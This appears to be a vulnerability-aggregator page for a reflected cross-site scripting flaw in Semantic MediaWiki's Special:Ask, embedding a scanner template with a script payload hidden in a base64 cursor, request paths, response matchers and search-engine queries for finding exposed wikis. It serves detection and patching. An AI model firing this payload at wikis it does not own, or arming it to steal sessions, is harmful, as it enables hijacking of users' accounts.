CVE-2026-77616: Semantic MediaWiki 7.0.0-7.1.0 - Cross-Site Scripting

2026-11-29 PoC Public

Description

Semantic MediaWiki 7.0.0 through 7.1.0 contains a reflected cross-site scripting vulnerability in Special:Ask. The cursor pagination token is an unsigned base64url JSON blob. When its sort_prop value does not match the requested sort, QueryCreator writes that value into a raw query error string, and ErrorWidget prints it with Html::errorBox without escaping, so an unauthenticated attacker can inject arbitrary HTML and script.

Details

CVE
CVE-2026-77616 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-77616

info:
  name: Semantic MediaWiki 7.0.0-7.1.0 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    Semantic MediaWiki 7.0.0 through 7.1.0 contains a reflected cross-site scripting vulnerability in Special:Ask. The cursor pagination token is an unsigned base64url JSON blob. When its sort_prop value does not match the requested sort, QueryCreator writes that value into a raw query error string, and ErrorWidget prints it with Html::errorBox without escaping, so an unauthenticated attacker can inject arbitrary HTML and script.
  impact: |
    Attackers can execute arbitrary JavaScript in the browser of a user who opens a crafted link, in the context of the wiki origin, and act with that user's session.
  remediation: |
    Update Semantic MediaWiki to 7.2.0 or later.
  reference:
    - https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-cx86-7xwp-w9wf
    - https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/3957086f6fdea9f0219beb8062267bab28942f31
    - https://github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.2.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-77616
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-77616
    epss-score: 0.00574
    epss-percentile: 0.41366
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: semantic-mediawiki
    product: semantic_mediawiki
    shodan-query: http.html:"Powered by Semantic MediaWiki"
    fofa-query: body="Powered by Semantic MediaWiki"
  tags: cve,cve2026,mediawiki,semantic-mediawiki,xss,reflected,unauth

variables:
  payload: "<script>alert(document.domain)</script>"
  cursor: '{"v":1,"sort_prop":"{{payload}}"}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?title=Special:Ask&q=%5B%5BProperty%3A%2B%5D%5D&p%5Bcursor%5D={{url_encode(base64(cursor))}}"
      - "{{BaseURL}}/w/index.php?title=Special:Ask&q=%5B%5BProperty%3A%2B%5D%5D&p%5Bcursor%5D={{url_encode(base64(cursor))}}"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "smw-error-result-error"
          - "Cursor was minted for"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402205839d1985ea3a912cb7a0357f5b101ed24be2830d4513faed48eea78d51845890220637e43ad35ed4beb5543d447d2d05d13e2890f86c410fa8536c7f7fc0b4a3209:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life